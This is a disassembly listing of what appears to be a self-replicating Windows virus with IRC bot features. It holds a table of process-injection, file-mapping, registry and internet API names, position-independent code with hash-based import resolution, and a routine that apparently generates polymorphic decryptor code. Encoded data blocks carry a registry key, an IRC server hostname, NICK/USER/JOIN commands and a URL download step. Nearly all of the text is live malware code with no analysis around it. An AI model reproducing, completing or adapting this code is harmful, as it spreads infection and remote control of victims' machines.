aCreatefilemapp	db 'CreateFileMappingA',0
aCreateprocessa	db 'CreateProcessA',0
aCreateremoteth	db 'CreateRemoteThread',0
aCreatethread	db 'CreateThread',0
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0
aExitthread	db 'ExitThread',0
aFiletimetosyst	db 'FileTimeToSystemTime',0
aGetfileattribu	db 'GetFileAttributesA',0
aGetfilesize	db 'GetFileSize',0
aGetfiletime	db 'GetFileTime',0
aGetmodulehandl	db 'GetModuleHandleA',0
aGettempfilenam	db 'GetTempFileNameA',0
aGettemppatha	db 'GetTempPathA',0
aGetversion	db 'GetVersion',0
aGetversionexa	db 'GetVersionExA',0
aLoadlibrarya_0	db 'LoadLibraryA',0
aMapviewoffile	db 'MapViewOfFile',0
aOpenfilemappin	db 'OpenFileMappingA',0
aOpenprocess	db 'OpenProcess',0
aProcess32first	db 'Process32First',0
aProcess32next	db 'Process32Next',0
aSetfileattribu	db 'SetFileAttributesA',0
aSetfiletime	db 'SetFileTime',0
aSleep		db 'Sleep',0
aSystemtimetofi	db 'SystemTimeToFileTime',0
aUnmapviewoffil	db 'UnmapViewOfFile',0
aVirtualalloc	db 'VirtualAlloc',0
aWritefile	db 'WriteFile',0
aNtadjustprivil	db 'NtAdjustPrivilegesToken',0
aNtcreatefile	db 'NtCreateFile',0
aNtcreateproces	db 'NtCreateProcess',0
aNtcreateproc_0	db 'NtCreateProcessEx',0
aNtcreatesectio	db 'NtCreateSection',0
aNtmapviewofsec	db 'NtMapViewOfSection',0
aNtopenfile	db 'NtOpenFile',0
aNtopenprocesst	db 'NtOpenProcessToken',0
aNtprotectvirtu	db 'NtProtectVirtualMemory',0
aNtwritevirtual	db 'NtWriteVirtualMemory',0
aRtlunicodestri	db 'RtlUnicodeStringToAnsiString',0
aWsastartup	db 'WSAStartup',0
aClosesocket	db 'closesocket',0
aConnect	db 'connect',0
aGethostbyname	db 'gethostbyname',0
aRecv		db 'recv',0
aSend		db 'send',0
aSocket		db 'socket',0
aInternetcloseh	db 'InternetCloseHandle',0
aInternetgetcon	db 'InternetGetConnectedState',0
aInternetopena	db 'InternetOpenA',0
aInternetopenur	db 'InternetOpenUrlA',0
aInternetreadfi	db 'InternetReadFile',0
aAdvapi32_dll	db 'ADVAPI32.DLL',0
aRegclosekey_0	db 'RegCloseKey',0
aRegopenkeyexa	db 'RegOpenKeyExA',0
aRegqueryvaluee	db 'RegQueryValueExA',0
aRegsetvalueexa	db 'RegSetValueExA',0

; =============== S U B	R O U T	I N E =======================================



sub_40AB8A	proc near		; CODE XREF: seg002:0040AC31p
					; seg002:0040AC42p ...

var_5		= byte ptr -5

		sub	ecx, 5
		sub	ecx, eax
		push	ecx
		push	0E8000000h
		lea	ecx, [esp+8+var_5]
		push	0
		push	5
		push	ecx
		push	eax
		push	ebx
		push	5
		mov	ecx, esp
		push	eax
		mov	edx, esp
		push	eax
		push	esp
		push	40h
		push	ecx
		push	edx
		push	ebx
		call	dword ptr [ebp+4035F0h]
		add	esp, 0Ch
		call	dword ptr [ebp+4035F4h]
		add	esp, 8
		retn
sub_40AB8A	endp

; ---------------------------------------------------------------------------
		push	edi
		lea	eax, [ebp+4015B1h]
		xor	edi, edi
		push	eax
		push	0
		push	0Eh
		call	dword ptr [ebp+4035A4h]
		test	eax, eax
		jz	loc_40AC6D
		push	eax
		push	69CEh
		mov	edx, esp
		push	0
		mov	ecx, esp
		push	40h
		push	100000h
		push	2
		push	edx
		push	0
		push	69CEh
		push	0
		push	ecx
		push	ebx
		push	eax
		call	dword ptr [ebp+4035E4h]
		pop	edi
		pop	ecx
		call	dword ptr [ebp+40353Ch]
		test	edi, edi
		jz	short loc_40AC6D
		mov	ecx, [ebp+401588h]
		jecxz	short loc_40AC25
		lea	edx, sub_401000[ebp]
		add	edx, ecx
		push	edi
		push	ebx
		call	edx


loc_40AC25:				; CODE XREF: seg002:0040AC17j
		mov	eax, [ebp+4035D4h]
		lea	ecx, [edi+2394h]
		call	sub_40AB8A
		mov	eax, [ebp+4035E8h]
		lea	ecx, [edi+23E1h]
		call	sub_40AB8A
		mov	eax, [ebp+4035D8h]
		lea	ecx, [edi+23E8h]
		call	sub_40AB8A
		mov	eax, [ebp+4035DCh]
		test	eax, eax
		jz	short loc_40AC6D
		lea	ecx, [edi+23F5h]
		call	sub_40AB8A


loc_40AC6D:				; CODE XREF: seg002:0040ABD7j
					; seg002:0040AC0Fj ...
		mov	eax, edi
		pop	edi
		retn
; ---------------------------------------------------------------------------
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 401A14h
		xor	ecx, ecx
		lea	eax, [ebp+401DAEh]
		push	ecx
		push	esp
		push	ecx
		push	ecx
		push	eax
		push	ecx
		push	ecx
		call	dword ptr [ebp+40356Ch]
		xchg	eax, [esp]
		call	dword ptr [ebp+40353Ch]
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		dd 0E855h, 815D0000h, 401A43EDh, 8DFF6A00h, 401A0E95h
		dd 0CD525000h, 2A002420h, 0CC48300h, 5485C766h,	0CD00401Ah
		dd 5685C720h, 2400401Ah, 5D002A00h, 6A016AC3h, 0FF33FF01h
		dd 15FF0473h, 0F074C085h, 0B68h, 5BD08B00h, 8D3C5003h
		dd 401A72B5h, 0CBA8B00h, 8B000001h, 1088Ah, 2BF80300h
		dd 0CB8B60CBh, 7461A6F3h, 0F5E24705h, 0C783C2EBh, 0D48B570Fh
		dd 50CC8B53h, 51406A54h, 0FFFF6A52h, 4035F095h,	0CC48300h
		dd 3574958Bh, 0D72B0040h, 0C707EA83h, 0E8006A07h, 3578900h
		dd 581A6AC3h, 9E8h, 61428D00h, 75C9FEAAh
		db 0F0h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_40AD52	proc near		; CODE XREF: sub_40B5BD+1Bp
					; sub_40B735+3p ...
		imul	edx, ss:dword_403646[ebp], 8088405h
		inc	edx
		mov	ss:dword_403646[ebp], edx
		mul	edx
		retn
sub_40AD52	endp

; ---------------------------------------------------------------------------
		dw 0E855h
		dd 0
		dd 9ED815Dh, 8B00401Bh,	40364A9Dh, 247C8300h, 840F0008h
		dd 0B9h, 208EC81h, 68540000h, 104h, 359095FFh, 0FC8B0040h
		dd 424848Dh, 50000001h,	4E8006Ah, 56000000h, 57005452h
		dd 358C95FFh, 0C9330040h, 104978Dh, 51510000h, 6A51026Ah
		dd 6801h, 0FF524000h, 40355C95h, 0F6859600h, 54505B74h
		dd 10468h, 0B4FF5700h, 22024h, 2895FF00h, 59004036h, 1674C085h
		dd 8B5014E3h, 52006AD4h, 0FF565751h, 4035CC95h,	0C0855900h
		dd 0FF56D075h, 40353C95h, 44578D00h, 446A5752h,	4978D58h
		dd 0AB000001h, 106AC033h, 50ABF359h, 50505050h,	0FF525050h
		dd 40356495h, 8C48100h,	0FF000002h, 0FF082474h,	40361895h
		dd 95FF5300h, 403618h, 4C25Dh, 750A3E80h, 8D8B4601h, 401584h
		dd 958D19E3h, 401000h, 0FF56D103h, 0FC084D2h, 11F88h, 10840F00h
		dd 80000001h, 10753A3Eh, 3E8046h, 101840Fh, 3E800000h
		dd 46F17520h, 49503E81h, 4275474Eh, 46C6CF8Bh, 0CE2B4F01h
		dd 51006A51h, 95FF5356h, 403610h, 0FC13B59h, 0DF85h, 0A2858D00h
		dd 6A00401Dh, 0C6800h, 53500000h, 361095FFh, 0C3D0040h
		dd 0F000000h, 0BF85h, 0B1E900h,	3E810000h, 56495250h, 0A5850Fh
		dd 0C6830000h, 0D3CAC08h, 99840Fh, 203C0000h, 3CACF375h
		dd 8C850F3Ah, 0AD000000h, 2020200Dh, 67213D20h,	7F757465h
		dd 75203CACh, 0FF7E817Ch, 74746820h, 7E817175h,	2F3A7003h
		dd 0C668752Fh, 0F00FF47h, 2710BA31h, 0E2F70000h, 0BC95FF52h
		dd 33004035h, 505050C0h, 9E850h, 6F440000h, 6F6C6E77h
		dd 0FF006461h, 40362095h, 74C08500h, 89C93336h,	40364A85h
		dd 685100h, 51800002h, 0FF505651h, 40362495h, 3958D00h
		dd 5000401Bh, 5154C933h, 51515250h, 356C95FFh, 4870040h
		dd 3C95FF24h, 0F8004035h, 778D80C3h, 1004015h, 4F53C3F9h
		dd 41575446h, 4D5C4552h, 6F726369h, 74666F73h, 6E69575Ch
		dd 73776F64h, 7275435Ch, 746E6572h, 73726556h, 5C6E6F69h
		dd 6C707845h, 7265726Fh, 72615400h, 48746567h, 74736Fh
		dd 0F0FF0002h, 100007Fh, 786F7270h, 692E6D69h, 61676372h
		dd 7978616Ch, 6C702Eh, 4B43494Eh, 7A726D20h, 7A727374h
		dd 53550A71h, 79205245h, 35303230h, 2E203130h, 3A202E20h
		dd 494F4A2Dh, 7626204Eh, 75747269h, 0E8550Ah, 5D000000h
		dd 1DB4ED81h, 85C60040h, 401577h, 9495FF00h, 0C1004035h
		dd 3C741FE8h, 0B58B1E6Ah, 403550h, 2E3CAC59h, 81662A75h
		dd 751DFF3Eh, 40BD8D23h, 8B004036h, 0A5570276h,	858DA566h
		dd 40336Ah, 3390858Fh, 89FA0040h, 4E8CFA46h, 1B1FBFEh
		dd 43EBCFE2h, 15B1858Dh, 6A500040h, 0FF0E6A00h,	4035A495h
		dd 247C8300h, 2B750408h, 4E8h, 43465300h, 8895FF00h, 0E8004035h
		dd 0FFFFFC48h, 7E8h, 43465300h,	534F5Fh, 358895FFh, 31E80040h
		dd 0E8FFFFFCh, 0FFFFF356h, 13038DFFh, 0BE80040h, 55000000h
		dd 33524553h, 4C442E32h, 95FF004Ch, 40359Ch, 0AE8h, 70737700h
		dd 746E6972h, 50004166h, 354895FFh, 85890040h, 403554h
		dd 8D8D310Fh, 4018E0h, 36468589h, 0FF510040h, 40359C95h
		dd 4689300h, 8D000000h,	4018EDB5h, 0BD8D5900h, 40362Ch
		dd 0FFF6D6E8h, 85C766FFh, 401D67h, 0A583F0FFh, 401D69h
		dd 27958D00h, 5000401Dh, 6A016A54h, 2685200h, 0FF800000h
		dd 40363095h, 5AC08500h, 8D8D2275h, 401D5Ah, 8D066A52h
		dd 401D67B5h, 50565400h, 0FF525150h, 40363495h,	95FF5800h
		dd 40362Ch, 384D85C6h, 0E8000040h, 0Ch,	434F5357h, 2E32334Bh
		dd 4C4C44h, 359C95FFh, 68930040h, 7, 1844B58Dh,	8D590040h
		dd 4035FCBDh, 0F651E800h, 0CE8FFFFh, 57000000h,	4E494E49h
		dd 442E5445h, 0FF004C4Ch, 40359C95h, 0FC08500h,	1E784h
		dd 5689300h, 8D000000h,	401882B5h, 0BD8D5900h, 403618h
		dd 0FFF61AE8h, 1CBD83FFh, 4036h, 1C2840Fh, 0EC810000h
		dd 190h, 1016854h, 95FF0000h, 4035FCh, 190C481h, 8B500000h
		dd 52006AD4h, 361C95FFh, 0C0850040h, 680D7559h,	1388h
		dd 35BC95FFh, 0E2EB0040h, 1D69BD83h, 75000040h,	6D858D29h
		dd 5000401Dh, 360895FFh, 0C0850040h, 13B840Fh, 408B0000h
		dd 0FF008B0Ch, 69858F30h, 0C600401Dh, 40384D85h, 6A0100h
		dd 26A016Ah, 361495FFh,	0F8830040h, 12840FFFh, 93000001h
		dd 1D65958Dh, 106A0040h, 95FF5352h, 403604h, 850FC085h
		dd 0F2h, 1D86BD8Dh, 8B10040h, 0FFFABCE8h, 9468FFh, 2B5E0000h
		dd 243489E6h, 9895FF54h, 8D004035h, 401D94BDh, 0E801B100h
		dd 0FFFFFA9Dh, 1024448Bh, 0B08E0C1h, 0C1042444h, 440B08E0h
		dd 0E8500824h, 5, 78362E25h, 95FF5700h,	403554h, 0C60CC483h
		dd 8D200647h, 401D8195h, 68006A00h, 21h, 95FF5352h, 403610h
		dd 14247C8Dh, 5895FF57h, 0C6004035h, 400A3804h,	5750006Ah
		dd 1095FF53h, 3004036h,	0A2BD8DE6h, 6A00401Dh, 0C6800h
		dd 53570000h, 361095FFh, 0C3D0040h, 75000000h, 4EB58D4Dh
		dd 8D004036h, 40384D8Dh, 6ACE2B00h, 53565100h, 360C95FFh
		dd 0F8830040h, 912F7E00h, 0B58DFE8Bh, 40364Eh, 0AEF20DB0h
		dd 0E8601075h, 0FFFFFAF8h, 0E3177261h, 1778D09h, 0CF8BEAEBh
		dd 0BD8DCE2Bh, 40364Eh,	0F787A4F3h, 0FF53B9EBh,	40360095h
		dd 77BD8000h, 1004015h,	30682A74h, 0FF000075h, 4035BC95h
		dd 4DBD8000h, 4038h, 85C71174h,	401D69h, 0
		dd 384D85C6h, 0E9000040h, 0FFFFFE56h, 158085C7h, 40h, 0C25D8000h
		dd 0A0D0004h, 6F6E204Fh, 6F206E6Fh, 696C2066h, 20216566h
		dd 6974204Fh, 7420656Dh, 6563206Fh, 7262656Ch, 21657461h
		dd 20200A0Dh, 4F202020h, 6D757320h, 2072656Dh, 64726167h
		dd 0D216E65h, 6C65520Ah, 6C746E65h, 6C737365h, 61682079h
		dd 20797070h, 20646E61h, 65707865h, 6E617463h, 73202C74h
		dd 646E6174h, 3A676E69h, 0A0D2D20h, 63746157h, 676E6968h
		dd 6C6C6120h, 79616420h, 646E6120h, 67696E20h, 202C7468h
		dd 20726F66h, 65697266h, 2073646Eh, 61772049h, 0D3A7469h
		dd 6568570Ah, 61206572h, 79206572h, 202C756Fh, 65697266h
		dd 3F73646Eh, 6D6F4320h, 49202165h, 73692074h, 6D697420h
		dd 49202165h, 20732774h, 6574616Ch, 290A0D21h, 0E510A614h
		dd 1327B1FAh, 4810A614h, 4403752h, 0ED30C784h, 474FD479h
		dd 576299ADh, 6A3AAB59h, 7E606EF9h, 5C1A73C1h, 52C26CCCh
		dd 0D8B8B3h, 13h dup(0)
		db 3 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_40B507	proc near		; CODE XREF: sub_40B54E:loc_40B5ABp
					; sub_40B60E+7p ...

arg_0		= dword	ptr  4

		pusha
		and	ss:dword_4039A6[ebp], 0
		and	ss:dword_4039AA[ebp], 0
		movzx	eax, word ptr [ebx+14h]
		lea	edx, [ebx+18h]
		movzx	ecx, word ptr [ebx+6]
		add	edx, eax


loc_40B523:				; CODE XREF: sub_40B507+41j
		mov	eax, [esp+20h+arg_0]
		sub	eax, [edx+0Ch]
		jb	short loc_40B545
		cmp	eax, [edx+8]
		jnb	short loc_40B545
		mov	eax, [edx+14h]
		sub	eax, [edx+0Ch]
		mov	ss:dword_4039A6[ebp], edx
		mov	ss:dword_4039AA[ebp], eax
		jmp	short loc_40B54A
; ---------------------------------------------------------------------------


loc_40B545:				; CODE XREF: sub_40B507+23j
					; sub_40B507+28j
		add	edx, 28h
		loop	loc_40B523


loc_40B54A:				; CODE XREF: sub_40B507+3Cj
		popa
		retn	4
sub_40B507	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B54E	proc near		; CODE XREF: seg002:0040B87Ap
					; seg002:0040B8A0p
		mov	byte ptr ss:loc_4022F7[ebp], al
		call	sub_40B5BD
		push	20h
		lea	eax, [ebp+402224h]
		pop	ecx


loc_40B565:				; CODE XREF: sub_40B54E+1Ej
		cmp	[eax], ebx
		jz	short loc_40B575
		add	eax, 4
		loop	loc_40B565
		inc	ss:dword_40398E[ebp]
		retn
; ---------------------------------------------------------------------------


loc_40B575:				; CODE XREF: sub_40B54E+19j
		neg	ecx
		add	ecx, dword ptr ss:loc_4022F7[ebp]
		jecxz	short loc_40B58F


loc_40B57F:				; CODE XREF: sub_40B54E+39j
		push	dword ptr [eax-4]
		pop	dword ptr [eax]
		sub	eax, 4
		loop	loc_40B57F
		mov	[ebp+402224h], ebx


loc_40B58F:				; CODE XREF: sub_40B54E+2Fj
					; sub_40B5BD+34j
		cmp	dword ptr [edx], 0
		jz	short loc_40B599
		sub	esi, [edx]
		add	esi, [edx+10h]


loc_40B599:				; CODE XREF: sub_40B54E+44j
		lea	ecx, [esi-4]
		pop	eax
		pop	ebx
		pop	esi
		cmp	dword ptr [edx], 0
		jz	short loc_40B5A8
		push	dword ptr [edx]
		jmp	short loc_40B5AB
; ---------------------------------------------------------------------------


loc_40B5A8:				; CODE XREF: sub_40B54E+54j
		push	dword ptr [edx+10h]


loc_40B5AB:				; CODE XREF: sub_40B54E+58j
		call	sub_40B507
		sub	ecx, esi
		sub	ecx, ss:dword_4039AA[ebp]
		pop	eax
		add	ecx, [ebx+34h]
		retn
sub_40B54E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40B5BD	proc near		; CODE XREF: sub_40B54E+6p
		pop	ss:dword_403992[ebp]
		mov	ss:dword_40398E[ebp], 0
		call	sub_40B60E
		mov	eax, ss:dword_40398E[ebp]
		call	sub_40AD52
		call	sub_40B5FA
		cmp	ss:dword_40398E[ebp], 0
		jnz	short loc_40B5F3
		mov	dword ptr ss:sub_4022A0[ebp], ebx
		jmp	short loc_40B58F
; ---------------------------------------------------------------------------


loc_40B5F3:				; CODE XREF: sub_40B5BD+2Cj
		dec	ss:dword_40398E[ebp]
		retn
sub_40B5BD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40B5FA	proc near		; CODE XREF: sub_40B5BD+20p
		pop	ss:dword_403992[ebp]
		mov	ss:dword_40398E[ebp], edx
		call	sub_40B60E
		xor	ecx, ecx
		retn
sub_40B5FA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40B60E	proc near		; CODE XREF: sub_40B5BD+10p
					; sub_40B5FA+Cp ...

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	edx, [ebx+80h]
		push	edx
		call	sub_40B507
		add	edx, ss:dword_4039AA[ebp]
		add	edx, esi


loc_40B622:				; CODE XREF: sub_40B60E+120j
		cmp	dword ptr [edx+0Ch], 0
		jz	locret_40B733
		cmp	dword ptr [edx+10h], 0
		jz	locret_40B733
		mov	eax, [edx+0Ch]
		push	eax
		call	sub_40B507
		add	eax, ss:dword_4039AA[ebp]
		add	eax, esi
		push	eax


loc_40B648:				; CODE XREF: sub_40B60E+47j
		mov	cl, [eax]
		cmp	cl, 0
		jz	short loc_40B668
		cmp	cl, 2Eh
		jz	short loc_40B657


loc_40B654:				; CODE XREF: sub_40B60E+58j
		inc	eax
		jmp	short loc_40B648
; ---------------------------------------------------------------------------


loc_40B657:				; CODE XREF: sub_40B60E+44j
		mov	ecx, [eax+1]
		and	ecx, 0DFDFDFDFh
		cmp	ecx, 4C4C44h
		jnz	short loc_40B654


loc_40B668:				; CODE XREF: sub_40B60E+3Fj
		pop	ecx
		sub	ecx, eax
		cmp	ecx, 0FFFFFFFAh
		jg	loc_40B72B
		cmp	word ptr [eax-2], 3233h
		jnz	loc_40B72B
		push	esi
		cmp	dword ptr [edx], 0
		jnz	short loc_40B68B
		mov	ecx, [edx+10h]
		jmp	short loc_40B68D
; ---------------------------------------------------------------------------


loc_40B68B:				; CODE XREF: sub_40B60E+76j
		mov	ecx, [edx]


loc_40B68D:				; CODE XREF: sub_40B60E+7Bj
		add	esi, ecx
		push	ecx
		call	sub_40B507
		add	esi, ss:dword_4039AA[ebp]


loc_40B69B:				; CODE XREF: sub_40B60E+90j
					; sub_40B60E+117j
		lodsd
		test	eax, eax
		js	short loc_40B69B
		jz	loc_40B72A
		push	ss:dword_4039AA[ebp]
		push	eax
		call	sub_40B507
		add	eax, ss:dword_4039AA[ebp]
		pop	ss:dword_4039AA[ebp]
		add	eax, [esp+4+var_4]
		push	ebx
		add	eax, 2
		xor	ebx, ebx


loc_40B6C7:				; CODE XREF: sub_40B60E+CEj
		movzx	ecx, byte ptr [eax]
		jecxz	short loc_40B6DE
		or	cl, 20h
		push	ebx
		shl	[esp+0Ch+var_C], 4
		sub	[esp+0Ch+var_C], ebx
		sub	[esp+0Ch+var_C], ecx
		pop	ebx
		inc	eax
		jmp	short loc_40B6C7
; ---------------------------------------------------------------------------


loc_40B6DE:				; CODE XREF: sub_40B60E+BCj
		cmp	ebx, 0DDBBD70Fh
		jz	short loc_40B724
		cmp	ebx, 0DB6E45A8h
		jz	short loc_40B724
		cmp	ebx, 0FFA13B59h
		jz	short loc_40B724
		cmp	ebx, 0ACB522D6h
		jz	short loc_40B724
		cmp	ebx, 0F358E993h
		jz	short loc_40B724
		cmp	ebx, 0F358E97Dh
		jz	short loc_40B724
		cmp	ebx, 0E1253F46h
		jz	short loc_40B724
		cmp	ebx, 0E1253F30h
		jz	short loc_40B724
		call	ss:dword_403992[ebp]


loc_40B724:				; CODE XREF: sub_40B60E+D6j
					; sub_40B60E+DEj ...
		pop	ebx
		jmp	loc_40B69B
; ---------------------------------------------------------------------------


loc_40B72A:				; CODE XREF: sub_40B60E+92j
		pop	esi


loc_40B72B:				; CODE XREF: sub_40B60E+60j
					; sub_40B60E+6Cj
		add	edx, 14h
		jmp	loc_40B622
; ---------------------------------------------------------------------------

locret_40B733:				; CODE XREF: sub_40B60E+18j
					; sub_40B60E+22j
		retn
sub_40B60E	endp

; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_40B735	proc near		; CODE XREF: seg002:0040B873p
					; seg002:0040B899p
		push	4
		pop	eax
		call	sub_40AD52
		mov	[ebp+4024D1h], dl
		mov	ax, 1831h
		add	ah, dl
		shl	ah, 3
		add	ah, dl
		stosw
		push	6
		pop	eax
		call	sub_40AD52
		add	edx, 8
		xchg	edx, ecx


loc_40B75D:				; CODE XREF: sub_40B735:loc_40B79Cj
		push	5
		pop	eax
		call	sub_40AD52
		cmp	dl, 3
		jnb	short loc_40B775
		mov	al, 50h
		add	al, [ebp+4024D1h]
		stosb
		jmp	short loc_40B79C
; ---------------------------------------------------------------------------


loc_40B775:				; CODE XREF: sub_40B735+33j
		push	68h
		pop	eax
		stosb
		cmp	dl, 3
		jnz	short loc_40B796
		mov	al, 11h
		call	sub_40AD52
		mov	eax, 1


loc_40B78A:				; CODE XREF: sub_40B735+5Dj
		test	dl, dl
		jz	short loc_40B79B
		shl	eax, 1
		dec	dl
		jmp	short loc_40B78A
; ---------------------------------------------------------------------------
		jmp	short loc_40B79B
; ---------------------------------------------------------------------------


loc_40B796:				; CODE XREF: sub_40B735+47j
		mov	eax, 80000000h


loc_40B79B:				; CODE XREF: sub_40B735+57j
					; sub_40B735+5Fj
		stosd


loc_40B79C:				; CODE XREF: sub_40B735+3Ej
		loop	loc_40B75D
		retn
sub_40B735	endp

; ---------------------------------------------------------------------------


loc_40B79F:				; CODE XREF: sub_40C1F9+112p
		lea	edi, [ebp+40343Ch]
		test	ss:dword_403431[ebp], 80000000h
		jz	short loc_40B7B4
		mov	al, 60h
		stosb


loc_40B7B4:				; CODE XREF: seg002:0040B7AFj
		test	ss:dword_403431[ebp], 1000003h
		jz	loc_40B8BA
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		call	near ptr 0BDCA6378h
		xchg	eax, esi
		cmp	[eax+0], eax
		mov	al, 0E8h
		stosb
		stosd
		test	ss:dword_403431[ebp], 1000000h
		mov	ss:dword_40399A[ebp], edi
		jz	short loc_40B832
		test	ss:dword_403431[ebp], 2000000h
		mov	eax, 36FF6467h
		jnz	short loc_40B7FD
		mov	eax, 2E8B6467h


loc_40B7FD:				; CODE XREF: seg002:0040B7F6j
		stosd
		mov	ax, 0
		stosw
		jz	short loc_40B809
		mov	al, 5Dh
		stosb


loc_40B809:				; CODE XREF: seg002:0040B804j
		test	ss:dword_403431[ebp], 8000000h
		mov	eax, 86D8Dh
		jnz	short loc_40B830
		test	ss:dword_403431[ebp], 4000000h
		mov	eax, 8C583h
		jz	short loc_40B830
		mov	eax, 0F8ED83h


loc_40B830:				; CODE XREF: seg002:0040B818j
					; seg002:0040B829j
		stosd
		dec	edi


loc_40B832:				; CODE XREF: seg002:0040B7E5j
		test	ss:dword_403431[ebp], 3
		jz	short loc_40B842
		mov	al, 0E9h
		stosb
		stosd


loc_40B842:				; CODE XREF: seg002:0040B83Cj
		mov	eax, ss:dword_403996[ebp]
		mov	ecx, edi
		sub	ecx, eax
		mov	[eax-4], ecx
		test	ss:dword_403431[ebp], 3
		jz	short loc_40B8BA
		mov	eax, 36FF6467h
		mov	ss:dword_40399E[ebp], edi
		stosd
		mov	eax, 64670000h
		stosd
		mov	eax, 2689h
		stosd
		call	sub_40B735
		mov	al, 20h
		call	sub_40B54E
		jecxz	short loc_40B8BA
		mov	ax, 15FFh
		stosw
		xchg	eax, ecx
		stosd
		mov	edx, ss:dword_403431[ebp]
		not	edx
		test	edx, 3
		jnz	short loc_40B8AD
		call	sub_40B735
		mov	al, 1Fh
		call	sub_40B54E
		mov	ax, 15FFh
		stosw
		xchg	eax, ecx
		stosd


loc_40B8AD:				; CODE XREF: seg002:0040B897j
		mov	ecx, edi
		mov	eax, ss:dword_40399E[ebp]
		sub	ecx, eax
		mov	[eax-4], ecx


loc_40B8BA:				; CODE XREF: seg002:0040B7BEj
					; seg002:0040B859j ...
		test	ss:dword_403431[ebp], 4
		jz	short loc_40B8D8
		mov	eax, 0C8FEC029h
		stosd
		mov	eax, 474C008h
		stosd
		mov	eax, 67EBF875h
		stosd


loc_40B8D8:				; CODE XREF: seg002:0040B8C4j
		test	ss:dword_403431[ebp], 8
		jnz	short loc_40B92E
		cmp	ss:byte_40342F[ebp], 0
		jz	short loc_40B92E
		mov	eax, 0C9291829h
		or	ah, ss:byte_40342B[ebp]
		shl	ah, 3
		or	ah, ss:byte_40342B[ebp]
		stosd
		mov	al, 0B1h
		stosb
		mov	al, ss:byte_40342F[ebp]
		stosb
		mov	al, 40h
		or	al, ss:byte_40342B[ebp]
		stosb
		mov	ax, 0FDE2h
		test	ss:dword_403431[ebp], 10h
		jz	short loc_40B92C
		mov	al, 49h
		stosb
		mov	ax, 0FC75h


loc_40B92C:				; CODE XREF: seg002:0040B923j
		stosw


loc_40B92E:				; CODE XREF: seg002:0040B8E2j
					; seg002:0040B8EBj
		mov	al, 0E8h
		stosb
		xor	eax, eax
		stosd
		mov	ss:dword_403982[ebp], edi
		test	ss:dword_403431[ebp], 20h
		jnz	short loc_40B94F
		mov	al, 58h
		or	al, ss:byte_403429[ebp]
		stosb


loc_40B94F:				; CODE XREF: seg002:0040B944j
		mov	ax, 0C081h
		test	ss:dword_403431[ebp], 40h
		jz	short loc_40B962
		add	ah, 28h


loc_40B962:				; CODE XREF: seg002:0040B95Dj
		or	ah, ss:byte_403429[ebp]
		stosw
		mov	ss:dword_403986[ebp], edi
		stosd
		test	ss:dword_403431[ebp], 40000000h
		jnz	short loc_40B986
		mov	al, 50h
		add	al, ss:byte_403429[ebp]
		stosb


loc_40B986:				; CODE XREF: seg002:0040B97Bj
		test	ss:dword_403431[ebp], 80h
		jnz	short loc_40B99D
		mov	al, 0B8h
		or	al, ss:byte_40342A[ebp]
		stosb
		jmp	short loc_40B9DA
; ---------------------------------------------------------------------------


loc_40B99D:				; CODE XREF: seg002:0040B990j
		mov	ax, 1831h
		test	ss:dword_403431[ebp], 100h
		jz	short loc_40B9AF
		mov	al, 29h


loc_40B9AF:				; CODE XREF: seg002:0040B9ABj
		or	ah, ss:byte_40342A[ebp]
		shl	ah, 3
		or	ah, ss:byte_40342A[ebp]
		stosw
		mov	ax, 0F081h
		test	ss:dword_403431[ebp], 200h
		jnz	short loc_40B9D2
		mov	ah, 0C8h


loc_40B9D2:				; CODE XREF: seg002:0040B9CEj
		or	ah, ss:byte_40342A[ebp]
		stosw


loc_40B9DA:				; CODE XREF: seg002:0040B99Bj
		mov	ss:dword_4039A2[ebp], edi
		mov	eax, 243Ch
		stosd
		test	ss:dword_403431[ebp], 8
		jz	short loc_40BA5E
		test	ss:dword_403431[ebp], 400h
		jnz	short loc_40BA09
		mov	al, 0B8h
		or	al, ss:byte_40342B[ebp]
		stosb
		jmp	short loc_40BA56
; ---------------------------------------------------------------------------


loc_40BA09:				; CODE XREF: seg002:0040B9FCj
		test	ss:dword_403431[ebp], 800h
		jnz	short loc_40BA26
		mov	ax, 0E083h
		or	ah, ss:byte_40342B[ebp]
		stosw
		xor	eax, eax
		stosb
		jmp	short loc_40BA3B
; ---------------------------------------------------------------------------


loc_40BA26:				; CODE XREF: seg002:0040BA13j
		mov	ax, 1829h
		or	ah, ss:byte_40342B[ebp]
		shl	ah, 3
		or	ah, ss:byte_40342B[ebp]
		stosw


loc_40BA3B:				; CODE XREF: seg002:0040BA24j
		test	ss:dword_403431[ebp], 1000h
		mov	ax, 0C081h
		jz	short loc_40BA4E
		add	ah, 8


loc_40BA4E:				; CODE XREF: seg002:0040BA49j
		or	ah, ss:byte_40342B[ebp]
		stosw


loc_40BA56:				; CODE XREF: seg002:0040BA07j
		movzx	eax, ss:byte_40342F[ebp]
		stosd


loc_40BA5E:				; CODE XREF: seg002:0040B9F0j
		test	ss:dword_403431[ebp], 40000000h
		jz	short loc_40BA73
		mov	al, 50h
		add	al, ss:byte_403429[ebp]
		stosb


loc_40BA73:				; CODE XREF: seg002:0040BA68j
		test	ss:dword_403431[ebp], 2000h
		mov	al, 86h
		jnz	short loc_40BA83
		add	al, 4


loc_40BA83:				; CODE XREF: seg002:0040BA7Fj
		lea	ecx, [edi-2]
		mov	ah, ss:byte_403429[ebp]
		mov	ss:dword_40398A[ebp], ecx
		stosw
		cmp	ah, 5
		jnz	short loc_40BAA0
		mov	al, 0
		or	byte ptr [edi-1], 40h
		stosb


loc_40BAA0:				; CODE XREF: seg002:0040BA97j
		test	ss:dword_403431[ebp], 4000h
		mov	ax, 3166h
		jnz	short loc_40BAB2
		mov	ah, 29h


loc_40BAB2:				; CODE XREF: seg002:0040BAAEj
		stosw
		mov	al, 18h
		or	al, ss:byte_40342B[ebp]
		shl	al, 3
		stosb
		mov	al, 88h
		test	ss:dword_403431[ebp], 8000h
